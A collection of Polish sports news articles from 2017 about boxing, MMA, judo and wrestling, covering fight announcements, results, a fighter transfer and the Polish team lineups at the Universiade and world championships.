33-letni pięściarz chciałby się spotkać ze Szpilką, żeby wyrównać rachunki. Między pięściarzami nie raz dochodziło do ostrej wymiany zdań. – Ty wytrzyj mleko spod nosa, wracaj na salę i przygotuj się na kilka rund ze mną – tylko tak żeby kibice mieli na co popatrzeć dłużej niż przez 5 minut! Mamy jeszcze rachunki do wyrównania, a ty zapłacisz za każde złe słowo, które o mnie powiedziałeś. A jeśli uciekniesz do KSW to ja dopadnę cię nawet tam !!! Idę po ciebie i nikt mnie nie powstrzyma !!! – podkreśla Krzysztof Zimnoch.

9 września w Radomiu 33-latek stoczy 25 walkę w karierze. Jego rywalem będzie Joey Abell.

Fot. Facebook Krzysztof Zimnoch

KM

Domański i Grabowski o krok od medalu

Dwunastu judoków z Polski udało się do Taipei, aby walczyć o medale w XXIX Letniej Uniwersjadzie. Pierwsi zawodnicy zaprezentowali się na tatami. Niewiele do szczęścia zabrakło Tomaszowi Domańskiemu (100kg) i Kamilowi Grabowskiemu (+100kg).

Trzema złotymi medalami mogą pochwalić się Koreańczycy z Południa. Warto dodać, że na siedmiu startujących aż sześciu zawodników z kraju, którego stolicą jest Seul stanęło na podium. Azjaci pokazują siłę w Taipei. Dwa złota na swoim koncie zapisali Japończycy. 

Rosjanie pozbawili ich marzeń

Dla Domańskiego i Grabowskiego rywalizacja w Taipei była niezwykle wyczerpująca. Tomasz Domański stoczył sześć walk. Zaczął zdecydowanie i szybko uporał się z Tilenem Hadolinem, następnie wygrał z Elim El Chaerem. W kolejnym starciu Polak trafił na 19. zawodnika światowego rankingu Japończyka Kentaro Iidę. 19-latek okazał się lepszy od Domańskiego, który musiał radzić sobie w repasażach. Polak wygrał dwa starcia, choć z Marko Kumriciem nie miał łatwej przeprawy, ale już Brazylijczyka Souzę odprawił przed czasem. W starciu o brąz Domański trafił na Niiaza Bilalova. 22-letni Rosjanin to mistrz Europy z 2016 roku. Z Domańskim wygrał przed czasem.

W tym roku Kamil Grabowski stanął na trzecim stopniu podium w Saarbruecken. Również w Taipei mógł sięgnąć po medal, gdyby nie zawodnik z Rosjni. Ale po kolei. Wygrana Polaka na początek z reprezentantem Mongolii, a następnie porażka z Youngseo Ju, choć Polak zdobył waza ari. Koreańczyk szybko odpowiedział i wygrał przez ippon. W kolejnych dwóch starciach warunki dyktował Grabowski, który wypunktował rywali. Jednak w starciu o brązowy medal Polak musiał uznać wyższość Rosjanina Antona Bracheva.

Zatrzymani w repasażach

Porażka nie zawsze oznacza koniec marzeń o medalu. Dla judoków nadzieją są zawsze repasaże, w których nie ma miejsca na błąd. Ten, który okaże się w pełni skuteczny może liczyć na walkę o brązowy medal.

Rok temu Paula Kułaga (78kg) była o krok od wywalczenia brązowego medalu mistrzostw Europy juniorów w Maladze, jednak rywalizację zakończyła na piątej pozycji. Zmagania na uniwersjadzie Polka rozpoczęła od szybkiej porażki z Aleksandrą Babintsevą. Podrażniona 21-latka w pierwszej walce repasażowej potrzebowała 36 sekund, aby wygrać z Kolumbijką Johaną Katerin Florez Marin. W kolejnym starciu Kułaga przegrała i ostatecznie została sklasyfikowana na siódmej pozycji.

Trzy zwycięstwa nie dały Jakubowi Kubieńcowi (81kg) walki o medal. Lepsi od Polaka okazali się Seungsu Lee, który zepchnął naszego zawodnika do repasaży, gdzie ten cieszył się z dwóch wygranych, jednak na ostatniej prostej pokonał go Robin Gutsche. Kubieniec zajął ostatecznie siódme miejsce.

KM

Nokaut na wagę czterech pasów

Na gali w Lincoln powody do radości miał Terence Crawford. 30-letni Amerykanin znokautował w trzeciej rundzie Juliusa Indongo i zunifikował tytuły mistrza świata WBO, WBA, WBC i IBF wagi super lekkiej. W Lincoln na ring powrócił Bryant Jennings.

Mistrzowska ścieżka boksera z Omahy trwa od trzech lat. Na początek zdobył pas WBO w wadze lekkiej. Crawford wygrywał kolejne walki i powiększał swój dorobek, co pozwoliło stać się mu swoistym dominatorem.

Indongo na deskach

Smaczek rywalizacji Crawforda i Indongo stanowił fakt, że ich walka była czwartą w historii o wszystkie tytuły najbardziej prestiżowych organizacji. Każdy z aktorów widowiska miał po dwa pasy. Do Crawforda należały tytuły WBC i WBO, zaś do Indongo IBF i WBA. Dodatkowo przed sobotnim pojedynkiem żaden z bokserów nie zaznał goryczy porażki.

Crawforda i Indongo mają odmienne doświadczenie i są na zupełnie innych biegunach. Choć pięściarz z Namibii jest starszy, później zaczynał zawodową karierę. 34-latek dominował na kontynencie afrykańskim, ale świat usłyszał o nim w ubiegłym roku, kiedy w Moskwie znokautował Eduarda Trojanovskiego. Z kolei Crawford od lat dominuje na bokserskich ringach. Najpierw w wadze lekkiej, a teraz super lekkiej.

Starcie w Lincoln było ogromnym wydarzeniem. W końcu zwycięzca miał posiąść wszystko i stać się bezapelacyjnym królem. Wszyscy szykowali się na ucztę, jednak pięściarze, a właściwie Crawford, zaserwowali szybką kolację. Pierwsza runda na rozpoznanie, w drugiej odsłonie Amerykanin ruszył do przodu. Efekt naporu Crawforda był widoczny, bo po ciosie z lewej ręki rywal padł na deski. Indongo miał siły, żeby walczyć dalej, ale były to jego ostatnie zrywy. W trzeciej odsłonie Crawford przeprowadził decydującą akcję. Potężny cios na tułów i Indongo ponownie na deskach, jednak tym razem 34-latek nie dał rady się podnieść. Crawford wygrał 32 walkę w karierze i zgarnął cztery pasy mistrzowskie.

Zwycięski powrót

Blisko dwa lata trwała przerwa Bryanta Jenningsa. Dobrą postawą Amerykanin, w tym wygraną z Arturem Szpilką, zapracował na mistrzowskie starcie z Władimirem Kliczko. Jennings musiał uznać wyższość Ukraińca, jednak prawdziwe lanie zebrał w kolejnym starciu. Bezlitosny dla Amerykanina był Luis Ortiz. W Veronie Kubańczyk rozprawił się z Jenningsem, który od początku przyjmował potężne ciosy. Finał nastąpił w siódmej rundzie. Trzy podbródkowe, Amerykanin na deskach, jednak wstał, ale po chwili prawy sierpowy zakończył rywalizację. Jennings zebrał potężne lanie. 

Po dwóch latach pretendent do tytułu mistrza świata wrócił i pokazał, że umie boksować. W Lincoln pewnie wypunktował Daniela Martza. Przewaga Jenningsa nawet przez chwilę nie podlegała dyskusji. 32-latek bez zbędnych kalkulacji podszedł do rywalizacji i w drugiej rundzie mógł cieszyć się z triumfu. Dla Jenningsa było to 20 zwycięstwo w karierze.

Fot. boxrec

KM

FEN 19 "Bitwa o Wrocław"!

Kolejnym przystankiem Fight Exclusive Night będzie Wrocław, a 19. edycja gali, która nosi nazwę „Bitwa o Wrocław” odbędzie się 14 października w Hali Orbita. Na ten moment znamy dwa zestawienia, ale włodarze federacji zapewniają, że mają przygotowaną najmocniejszą kartę walk w historii.

Pierwszy raz podczas gali FEN odbędzie się „Freak Fight”. Obaj wojownicy, których występ już dziś budzi ogromne zainteresowanie, to na co dzień trenujący zawodnicy, dla których występ w MMA jest spełnieniem sportowych marzeń.

– „Arab” i „Ruby” staną naprzeciwko siebie w oktagonie podczas październikowej gali, która odbędzie się we Wrocławiu. Nasi kibice domagali się na Freak Fight’u, więc spełniamy  ich życzenia. Raperzy zmierzą się w kategorii do 77 kg. Co ważne – obaj nieźle radzą sobie w klatce. Trenują, cały czas podnoszą swoje umiejętności, można powiedzieć, że są sportowcami, którzy debiutują w MMA. To nie osoby, które wyjdą do klatki bez przygotowania – zapewnia Paweł Jóźwiak, prezes FEN.

Gabriel Al-Sulwi, czyli artysta znany pod pseudonimem „Arab” to 24-latek pochodzący z Rzeszowa, któremu MMA pozwoliło wyjść w życiu „na prostą”. Sam wokalista wielokrotnie powtarzał, że był uzależniony od marihuany, a dzięki walkom nawrócił się i teraz jest lepszym człowiekiem.

Bartłomiej Brzeziński, czyli „Ruby” kojarzony jest przez wiele osób z zespołem „Ganja Mafia”. Od dłuższego czasu można obserwować na jego facebook’owym profilu, jak trenuje i spędza każdą wolną chwilę podnosząc swoje umiejętności w mieszanych sztukach walki.

Drugim pojedynkiem, który odbędzie się we Wrocławiu jest starcie pomiędzy Pawłem Biszczakiem (24-3) z Wojciechem Wierzbickim (13-3). Będzie to rewanż za pojedynek ze stycznia 2017 roku, kiedy to w Lubinie lepszy okazał się Biszczak. Pojedynek odbędzie się w formule K-1, a jego stawką będzie pas mistrzowski FEN w kategorii do 77 kg.

Ponadto włodarze FEN pracują nad zorganizowaniem pojedynku Marcina Sianosa z Tomasem Pakutinskasem w wadze ciężkiej. Po ostatnim efektownym zwycięstwie Sianosa w Koszalinie w internecie pojawiło się ogromne zainteresowanie starciem polsko-litewskim, a Paweł Jóźwiak zapewnia, że zrobi wszystko, aby obaj dżentelmeni mogli się ze sobą zmierzyć już podczas FEN 19.

Podczas Fight Exclusive Night zobaczymy aż 10 pojedynków – 7 w formule MMA i 3 w K-1. Będą powroty, będą walki o pasy mistrzowskie oraz spektakularne rewanże. Wszystko przy wrocławskiej publiczności, która już po raz siódmy będzie miała przyjemność zobaczenia na żywo europejską czołówkę wojowników w akcji.

Sprzedaż biletów na to wydarzenie rozpocznie się w piątek, 18 sierpnia, o godzinie 12:00 na stronie www.fen-mma.com/bilet/ oraz na stronach zaprzyjaźnionych bileterni.

Źródło: materiały prasowe

""

Biszczak VS Wierzbicki II na FEN 19

W końcu! Najbardziej wyczekiwany rewanż w Polsce dojdzie do skutku. Mowa oczywiście o pojedynku w formule K-1 pomiędzy Pawłem Biszczakiem (24-3) a Wojciechem Wierzbickim (13-3). Obaj wojownicy zmierzą się ze sobą w walce wieczoru na Fight Exclusive Night 19 we Wrocławiu 14 października.

W styczniu 2017 roku Biszczak z Wierzbickim spotkali się w klatkoringu po raz pierwszy i wtedy posiadaczem pasa mistrzowskiego organizacji był Wierzbicki, w którym wielu ekspertów upatrywało faworyta starcia. Po pięciorundowym zaciętym boju, to jednak Biszczak zwyciężył przez niejednogłośną decyzję sędziów. Arbitrzy mieli spore wątpliwości, komu należy przyznać wygraną, gdyż emocji, kopnięć, mocnych ciosów na szczękę oraz zwrotów akcji było co nie miara. Komentujący te starcie Łukasz „Juras” Jurkowski nie miał wątpliwości – to był spektakl w najczystszej postaci.

Dużo mówiło się w środowisku MMA w Polsce o ewentualnym rewanżu obu panów, a włodarze FEN stwierdzili ostatecznie, że to należy się kibicom w naszym kraju. Podczas treningu medialnego zapowiadającego FEN 18 Paweł Jóźwiak, prezes federacji, zaprosił Wojciecha Wierzbickiego na scenę i zapytał przy zgromadzonych na rynku Staromiejskim w Koszalinie kibiców, co oni sądzą o ewentualnym rewanżu. Po aplauzie fanów i deklaracji byłego czempiona, że chce powtórnego starcia, Jóźwiakowi nie pozostało nic więcej, jak tylko kilka dni później oficjalnie ogłosić, że pojedynek Biszczaka z Wierzbickim będzie walką wieczoru podczas FEN 19 „Bitwa o Wrocław”.

Co jest najlepsze w tej walce? To, że w niej tym razem nie będzie faworyta. Stary mistrz zrobi wszystko, żeby pas wrócił do niego. Nowy czempion nie pozwoli sobie odebrać trofeum, które wywalczył z wielkim trudem.

Wrocław jest przyzwyczajony do roli gospodarza wielkich gal Fight Exclusive Night. Październikowe wydarzenie będzie już siódmym zorganizowanym przez federację. Tym razem zestawienie karty walk ma być najlepsze w czteroletniej historii federacji. Zobaczymy aż 10 pojedynków, z czego 7 odbędzie się w MMA. Pozostałe 3 będą to już formuła K-1, co samo w sobie generuje znakomite emocje. W akcji zobaczymy wielu byłych i – kto wie – być może przyszłych mistrzów federacji, którzy w stolicy Dolnego Śląska tłumnie zasiądą w Hali Orbita i będą z zapartym tchem oklaskiwać współczesnych gladiatorów.

Źródło: materiały prasowe

Były mistrz UFC trafił do Bellatora

Na piłkarskim rynku transferowym istne szaleństwo. 222 miliony euro kosztował Paris Saint-Germain Brazylijczyk Neymar. Z kolei Barcelona oferuje astronomiczne kwoty za Coutinho i Dembele. Ale czy tylko na piłkarskim rynku musi być ciekawie? Otóż nie! W MMA jest równie gorąco. Mówi się, że przejście Franka Mira z UFC do Bellatora to transfer roku.

O jakości widowiska decydują gwiazdy. W MMA niepodważalną pozycję lidera wśród organizacji dzierży UFC, która jest celem każdego fightera. Jednak Belltora stara się powiększać grono gwiazd. W ostatnim czasie organizacja dokonała kilku ciekawych „transferów”.

Hit

Frank Mir znalazł się na ustach wszystkich. A to za sprawą zakończenia długoletniej przygody z UFC i związania się z umową z Bellatorem. Niektórzy powiedzą, że najlepsze lata już dawno za Amerykaninem, jednak jego nazwisko nadal wiele znaczy w mieszanych sztukach walki i z pewnością to dobry ruch ze strony założonej w 2008 roku organizacji.

Frank Mir zapisał się w historii UFC jako mistrz wagi ciężkiej. Ponad… trzynaście lat temu (czerwiec 2004 roku) po upływie pięćdziesięciu sekund pokonał Tima Sylvię. Mir założył rywalowi dźwignię prostą na staw łokciowy, co w efekcie doprowadziło do pęknięcia kości promieniowej. Kolejne starcie jednak przegrał. Z kolei cztery lata później zdobył tymczasowy pas wygrywając z Antonio Rodrigo Nogueirą. To były piękne chwile dla Franka Mira, który stał się jedną z gwiazd UFC. Jednak wraz z upływem czasu jego pozycja w hierarchii wagi ciężkiej spadła. Cztery przegrane walki w latach 2012-2014 sprawiły, że wieszczono rychły koniec kariery Amerykanina. Jednak dwie wygrane walki, z Antonio Silvą i Toddem Duffem, dały nadzieję. Okazało się, że był to chwilowy przebłysk formy. Mir przegrał dwa kolejne starcia, a po pojedynku z Markiem Huntem zadeklarował, że chce pożegnać się z UFC. Dodatkowo przyłapano go na stosowaniu niedozwolonych środków i zawieszono na dwa lata.

Nad głową fightera zebrały się czarne chmury. Okazuje się jednak, że kibice będą mogli zobaczyć go jeszcze w oktagonie. 38-letni Mir podpisał umowę z Bellatorem i nie ukrywa zadowolenia z tego faktu. Porozumienie pozwala zawodnikowi na występy na galach innych organizacji.

Są i inni

Nowym zawodnikiem Bellatora został występujący w wadze piórkowej Sam Sicilia. 31-latek walczył ostatnio dla UFC, ale przegrał trzy walki z rzędu i podziękowano mu za współpracę. Sicilia występował w amerykańskiej organizacji przez pięć lat. W tym czasie stoczył dwanaście walk, z których pięć wygrał.

To nie pierwsze tegoroczne „ruchy transferowe” z UFC do Bellatora. W marcu na zmianę barw zdecydował się Lorenz Larkin, który uchodzi za jednego z najbardziej utalentowanych i technicznych stójkowiczów w MMA. W debiucie w Bellatorze 30-latek musiał uznać wyższość Douglasa Limy. 23 września rywalem Larkina będzie Paul Daley.

W lipcu wiele mówiło się o przejściu Gegarda Mousasiego do Belattora. 32-letni Holender wygrał pięć walk z rzędu w UFC i może pochwalić się łącznie 42 triumfami przy sześciu porażkach. Podczas październikowej gali Bellatora 185 będzie miał okazję sprawdzić umiejętności Aleksandra Shlemenko.

Fot. ufc.com

KM

W poszukiwaniu medalu do Paryża

Reprezentacja Polski w zapasach ruszyła do stolicy Francji, gdzie w dniach 21-26 odbędą się mistrzostwa świata. Cel jest oczywisty: przywieźć medal. Jako ostatnia tej sztuki dokonała Iwona Matkowska (48kg), która w 2014 roku w Taszkiencie sięgnęła po srebro.

Na początku maja Polacy rywalizowali w mistrzostwach Europy w Nowym Sadzie. W Serbii biało-czerwoni wywalczyli dwa medale. Powtórka w Paryżu mile widziana.

Bez Michalik

Dużym osłabieniem kadry jest brak Moniki Michalik (63kg). Zawodniczki, która w ostatnim czasie dodała blasku i radości polskim zapasom. To zawodniczka z Poznania stanęła w Rio de Janeiro na trzecim stopniu podium Igrzysk Olimpijskich, a w maju wywalczyła mistrzostwo Europy. Jednak organizm ma swoje ograniczenia. 37-letnia zapaśniczka postanowiła zrezygnować ze startu w Paryżu i odpocząć. Snuto domysły o zakończeniu kariery przez zawodniczkę. Gdzieniegdzie słychać głosy, że Michalik niebawem zaprezentuje się w rywalizacji na zasadach MMA.

W Paryżu zabraknie Moniki Michalik, będzie za to Magomedmurad Gadżijew (70kg). 29-letni zapaśnik urodzony w Gurbuki w maju sięgnął po srebro mistrzostw Europy w stylu wolnym i jest mocnym punktem naszej kadry. Z tym, że w swojej kolekcji nie ma jeszcze medalu mistrzostw świata. Dwa lata temu w Las Vegas Gadżijew był siódmy, ale startował wtedy w kategorii do 65kg.

Rok temu Robert Baran (125kg) rywalizował w Igrzyskach Olimpijskich w Rio de Janeiro. W ćwierćfinale Polak przegrał z Tervelem Dlagnevem. Kilka miesięcy wcześniej zdobył srebro mistrzostw Europy. A teraz w Paryżu przyjdzie mu zadebiutować w światowym czempionacie. Ale nie będzie jedyny. Smak rywalizacji w mistrzostwach świata poznają: Dawid Klimek (75kg), Paula Kozłow (55kg), Jowita Wrzesień (58kg), Natalia Kubaty (63kg), Andrzej Sokalski (74kg), Mateusz Filipczak (97kg).

Przywieźć medal

Medal w Paryżu byłby sukcesem polskich zapasów. W mistrzostwach Europy nie mamy z tym problemu, jednak na poziomie światowym ogarnęła nas niemoc. Rok temu w Budapeszcie (zmagania w kategoriach nieobecnych na igrzyskach) na ósmych miejscach uplasowali się: Katarzyna Madrowska (60kg), Dawid Kareciński (71kg) i Edgar Babayan (80kg).

Rywalizacja w Paryżu rozpocznie się 21 sierpnia od zmagań klasyków w kategoriach 71, 75, 85 i 98kg. Panie będą walczyły o medale w dniach 23-24 sierpnia. Następnie na placu boju zaprezentują się zapaśnicy w stylu wolnym.

Kadra Polski na mistrzostwach świata w zapasach:

Dawid Ersetic (59kg), Mateusz Bernatek (66kg), Grzegorz Wanke (71kg), Dawid Klimek (75kg), Edgar Babayan (80kg), Tadeusz Michalik (85kg), Radosław Grzybicki (98kg) – wszyscy styl klasyczny, Anna Łukasiak (48kg), Roksana Zasina (53kg), Paula Kozłow (55kg), Jowita Wrzesień (58kg), Katarzyna Mądrowska (60kg), Natalia Kubaty (63kg) oraz wolniacy: Magomedmurad Gadżyjew (65kg), Andrzej Sokalski (74kg), Zbigniew Baranowski (86kg), Mateusz Filipczak (97kg), Robert Baran (125kg).

KM

Podolak mierzy w medal

Arleta Podolak (57kg) wyruszyła do Taipei z jasnym celem. Polska judoczka chce wywalczyć medal na XXIX Letniej Uniwersjadzie, która odbędzie się w dniach 19-30 sierpnia. Oprócz Podolak, na tatami zobaczymy jedenastu naszych zawodników.

Wielkie święto sportu w stolicy Tajwanu. W imprezie weźmie udział około ośmiu tysięcy sportowców z ponad 150 krajów. 

Daleka podróż

Sportowcy przyzwyczajeni są do podróży. Zdecydowaną większość czasu spędzają poza domem, często w samolotach. Odwiedzają kolejne kraje, pokonują setki kilometrów. Jednak trzeba pamiętać, że podróże są meczące i istotne jest, aby zawodnicy przed startem mieli czas na regenerację. Za kilka dni reprezentanci Polski, w tym judocy, rozpoczną rywalizację podczas uniwersjady w Taipei. – Mamy parę dni na tzw. przestawienie się. Także mam nadzieję, że długa podróż nie będzie miała większego wpływu na mój start. Dodatkowo w razie czego mamy ze sobą melatoninę, która pomaga w takich sytuacjach – wyjaśnia FighTime.pl Arleta Podolak. 

O medale w stolicy Tajwanu powalczy dwunastu polskich judoków. W kadrze, która udała się do Taipei znaleźli się: Joanna Stankiewicz (48kg), Podolak, Urszula Hofman (70kg), Paula Kułaga (78kg), Anna Załęczna (+78kg), Adrian Wala (60kg), Patryk Wawrzyczek (66kg), Wiktor Mrówczyński (73kg), Jakub Kubieniec (81kg), Patryk Ciechomski (90kg), Tomasz Domański (100kg) i Kamil Grabowski (+100kg).

Tylko medal

Arleta Podolak zdążyła stęsknić się za tatami. Startowała w lutym w Paryżu, a potem dopiero w lipcu w Mińsku. Przerwa w startach 23-letniej zawodniczki była spowodowana kontuzją łokcia. – Pozostał ślad w postaci blizny, ale zdrowotnie jest bardzo dobrze. Ruchomość jest pełna i nie ma dolegliwości bólowych, a to najważniejsze – przedstawia Podolak.

23-letnia judoczka zdążyła poznać smak najważniejszych imprez. W ubiegłym roku wystąpiła w Igrzyskach Olimpijskich w Rio de Janeiro, zdobywała medale w drużynowych startach w mistrzostwach Europy i świata. Skoro ze zdrowiem wszystko w porządku, judoczka może z nadzieją przystąpić do kolejnego wyzwania, czyli rywalizacji w Taipei. Arleta Podolak mierzy wysoko. – Celem jest medal. Zadowoli mnie każdy kolor, ale wiadomo, że najbardziej ucieszy złoto – nie ukrywa polska judoczka.

W tym roku Podolak, ze względu na kontuzję, straciła mistrzostwa świata. Teraz wystąpi na uniwersjadzie, jednak w jej trakcie rozpoczną się mistrzostwa świata w Budapeszcie. Start w Taipei nie wyklucza jednak występu zawodniczki na Węgrzech. – Tak się składa ze odwiedzę i Taipei i Budapeszt. Na Węgrzech  startuje w turnieju drużynowym – podkreśla 23-letnia Podolak.

KM

FEN 19: Freak Fight w karcie walk i wielki rewanż!

Za nami gala Fight Exclusive Night 18 „Summer Editon”, która odbiła się szerokim echem na północy Polski. To właśnie podczas studio pomiędzy pojedynkami Paweł Jóźwiak, czyli prezes federacji zdradził nazwiska bohaterów Freak Fightu, który będzie ozdobą gali FEN 19.

– „Arab” i „Ruby” staną naprzeciwko siebie w oktagonie podczas październikowej gali, która odbędzie się we Wrocławiu. Nasi kibice domagali się na Freak Fight’u, więc spełniamy  ich życzenia. Raperzy zmierzą się w kategorii do 77 kg. Co ważne – obaj nieźle radzą sobie w klatce. Trenują, cały czas podnoszą swoje umiejętności, można powiedzieć, że są sportowcami, którzy debiutują w MMA. To nie osoby, które wyjdą do klatki bez przygotowania – zapewnia Paweł Jóźwiak, prezes FEN.

Gabriel Al-Sulwi, czyli artysta znany pod pseudonimem „Arab” to 24-latek pochodzący z Rzeszowa, któremu MMA pozwoliło wyjść w życiu „na prostą”. Sam wokalista wielokrotnie powtarzał, że był uzależniony od marihuany, a dzięki walkom nawrócił się i teraz jest lepszym człowiekiem.

Bartłomiej Brzeziński, czyli „Ruby” kojarzony jest przez wiele osób z zespołem „Ganja Mafia”. Od dłuższego czasu można obserwować na jego facebook’owym profilu, jak trenuje i spędza każdą wolną chwilę podnosząc swoje umiejętności w mieszanych sztukach walki.

Drugim pojedynkiem, który odbędzie się we Wrocławiu jest starcie pomiędzy Pawłem Biszczakiem (24-3) z Wojciechem Wierzbickim (13-3). Będzie to rewanż za pojedynek ze stycznia 2017 roku, kiedy to w Lubinie lepszy okazał się Biszczak. Pojedynek odbędzie się w formule K-1, a jego stawką będzie pas mistrzowski FEN w kategorii do 77 kg.

W Gdańsku Polaków nie zabraknie

Gala UFC Fight Night w Gdańsku odbędzie się 21 października. Skoro najlepsza organizacja MMA na świecie zawita do Polski, to w karcie walk nie może zabraknąć naszych zawodników. Poznaliśmy kolejne nazwiska. W Ergo Arenie zaprezentują się m.in. Jan Błachowicz i Oskar Piechota. Kolejnego występu na polskiej gali nie zaliczy Daniel Omielańczuk, z którym UFC rozwiązało umowę.

W poniedziałek informowaliśmy o dwóch pierwszy walkach październikowej gali. Debiut w UFC zaliczy Adam Wieczorek, który zmierzy się z Dmitrym Smoliakovem. Z kolei Trevor Smith spotka się z Ramazanem Emeevem.

Szczęśliwa siódemka?

34-letni Jna Błachowicz czeka na zwycięstwo w UFC od ponad roku. Fighter pochodzący z Cieszyna  przegrał dwie ostatnie walki – z Aleksandrem Gustafssonem i Patrickiem Cumminsem. Po raz ostatni Polak cieszył się ze zwycięstwa w kwietniu 2016 roku, kiedy w Zagrzebiu pokonał Igora Pokrajaca. Łącznie Błachowicz stoczył w UFC sześć walk, z których wygrał tylko dwie. Niewykluczone, że starcie w Gdańsku będzie dla niego tym z kategorii „ostatniej szansy”.

Rywalem Błachowicza będzie o pięć lat młodszy Devin Clark. Amerykanin ma mniejsze doświadczenie niż Polak, ale ostatnie miesiące są udane w jego wykonaniu. Debiutował w UFC rok temu i co prawda przegrał z Alexem Nicholsonem, ale dwie kolejne walki wygrał.

W czerwcu Oskar Piechota wywalczył tytuł mistrza wagi średniej organizacji Cage Warriors, a w październiku zadebiutuje w UFC. Dobre występy Polaka zostały dostrzeżone. Polak podpisał umowę w UFC i będzie mógł zaprezentować swoje umiejętności w Gdańsku. Dotychczas Piechota stoczył dziewięć walk i wszystkie wygrał przed czasem! Ostatnie dwa pojedynki zakończył po upływie zaledwie trzydziestu kilku sekund.

Rywalem 27-latka będzie Jonathan Wilson. Amerykanin przeżywa ostatnio trudne chwile, bo przegrał dwie walki z rzędu. Mimo to jest niezwykle groźny. Sześć z siedmiu zwycięskich walk zakończył przed czasem.

Niewykluczone, że w Gdańsku zobaczymy Karolinę Kowalkiewicz i Marcina Helda.

Koniec przygody

Blisko cztery lata trwała przygoda Daniela Omielańczuka z UFC. Amerykańska organizacja postanowiła rozwiązać kontrakt z polskim fighterem. 

Po trzech porażkach z rzędu grunt pod nogami Omielańczuka zaczął się palić. Włodarze UFC nie zamierzali dawać szansy Polakowi. Najlepszy czas Omielańczuka w UFC to lata 2015-2016, kiedy zanotował trzy zwycięstwa z rzędu. Polak pokonał m.in Aleksieja Olejnika. Łącznie Omielańczuk stoczył w UFC dziewięć walk, z których cztery zakończyły się jego triumfem.

Fot. Facebook Jan Błachowicz 

KM

Wieczorek zadebiutuje w Gdańsku

Machina ruszyła. Poznaliśmy dwie pierwsze walki, które odbędą się na październikowej gali UFC Fight Night Gdańsk. Debiut w amerykańskiej organizacji zaliczy zawodnik wagi ciężkiej Adam Wieczorek.

Jesień wcale nie musi być smutna. Z pewnością polscy fani MMA już odliczają dni do gali UFC, która odbędzie się 21 października w Ergo Arenie. Wszyscy zastanawiają się, kto wejdzie do klatki. Dziś (7 sierpnia) poznaliśmy pierwsze nazwiska.

Spełni marzenia

W trójmiejskiej Ergo Arenie pierwszą walkę w UFC stoczy Adam Wieczorek. Popularny „Siwy” uchodzi za jednego z najbardziej utalentowanych polskich zawodników wagi ciężkiej. Z powodzeniem rywalizował na krajowym podwórku i zwrócił na siebie uwagę UFC. Wieczorek przegrał tylko raz, ale było to blisko sześć lat temu. Zawodnik z Chorzowa musiał uznać wyższość… Marcina Tybury, który obecnie występuje w UFC. Od tamtej pory Wieczorek wygrał siedem walk, wszystkie przed czasem.

W marcu Polak podpisał umowę z UFC i miał zadebiutować podczas lipcowej gali w Anaheim. Do walki z Dmitrym Smoliakovem nie doszło, bo rywal doznał kontuzji. – Nie spodziewałem się takiego obrotu spraw i jestem mocno rozczarowany…. – komentował Adam Wieczorek. Ale „co się odwlecze, to nie uciecze”. Panowie spotkają się 21 października w Gdańsku. Wieczorek nie ukrywał, że jego marzeniem są występy w UFC, a więc niebawem dopnie swego. 

Czego Polak może spodziewać się po rywalu? 35-letni Smoliakov walczy o swoją przyszłość w UFC. Przegrał dotychczasowe dwie walki, a kolejna porażka może być bolesna w skutkach. Wcześniej Rosjanin wygrał osiem pojedynków, wszystkie przed czasem. Aż cztery walki Smoliakov zakończył przed upływem minuty walki. Wieczorek będzie musiał mieć się na baczności.

W kolejnej walce gali w trójmiejskiej Ergo Arenie zaprezentują się Trevor Smith i Ramazan Emeev. Dla 36-letniego Amerykanina będzie to dziesiąty pojedynek w UFC. Ostatnio Smith pokonał Chrisa Camozziego. Z kolei Emmev to były mistrz organizacji M-1 w wadze średniej. W Gdańsku przyjdzie mu zadebiutować w UFC. 30-latek ma za sobą cztery zwycięstwa z rzędu, ostatnio walczył w grudniu ubiegłego roku.

Co z Khalidovem?

Ostatnio pojawiły się informacje o tym, że uczestnikiem gali UFC w Gdańsku może być Mamed Khalidov. 39-letni mistrz KSW w wadze średniej zasiadł do rozmów z amerykańską organizacją. Pojawiło się nawet nazwisko potencjalnego rywala Khalidova. Miałby nim być były mistrz UFC w wadze półciężkiej UFC Lyoto Machida. 

W końcu głos zabrał sam Khalidov. – Chciałabym zdementować pogłoski że mam walczyć na UFC w Gdańsku. W tym czasie mam zamiar być w Irlandii na gali KSW 40 – napisał zawodnik na swoim Facebooku.

KM

Polka mieszkająca w Wielkiej Brytanii chce walczyć dla Polski!

Jessica Żelazko wraz z rodzicami i młodszym bratem do Wielkiej Brytanii wyjechała w 2004 roku, miała wtedy 3 lata. W nowym środowisku odnalazła się bardzo szybko, w krótkim czasie ucząc się doskonale władać językiem angielskim. Jessica od najmłodszych lat wspólnie z bratem uczęszczała na różnego rodzaju zajęcia sportowe – akrobatyka, lekkoatletyka, taniec, a nawet piłka nożna. W wieku 7 lat, za małą namową taty, rozpoczęła treningi bokserskie w lokalnym klubie – Crewe ABC.

Nie przeszkadzało jej to, że była tam jedyną dziewczyną, a boks z każdym kolejnym dniem coraz bardziej jej się podobał i nawet przez chwilę nie pomyślała, że nie jest to sport dla niej. W kolejnych latach, gdy treningi bokserskie zaczęły odgrywać znaczącą rolę w jej nastoletnim życiu, postanowiła zrezygnować z zajęć tanecznych oraz treningów lekkoatletycznych, w których odnosiła liczne sukcesy i skoncentrować się wyłącznie na boksie.

Pomimo przegranych dwóch pierwszych walk, Jessica nie załamała się i nie zrezygnowała ze sportu, w którym mimo początkowych niepowodzeń, czuła się bardzo dobrze. Po wspomnianych dwóch porażkach wspólnie z rodzicami zdecydowała się na zmianę klubu i zaczęła uczęszczać na zajęcia bokserskie w miejscowości Macclesfield, do której musiała dojeżdżać około 30 kilometrów 3 razy w tygodniu. Od tamtej pory Jessica zaczęła wygrywać kolejne swoje walki, co jeszcze bardziej zmotywowało ją do cięższych treningów i utwierdziło w przekonaniu, że właśnie to chce robić w przyszłości – boksować.

Jej zwycięstwa i postawa na treningach nie uszły uwadze trenerom angielskiej kadry narodowej i po testach sprawnościowych, w których wypadła najlepiej z całej grupy, w sierpniu 2016 roku zakwalifikowała się do „England Talent Programme” co oznaczało, że będzie trenować pod okiem najlepszych szkoleniowców brytyjskiej kadry w „English Institute of Sport” w Sheffield.

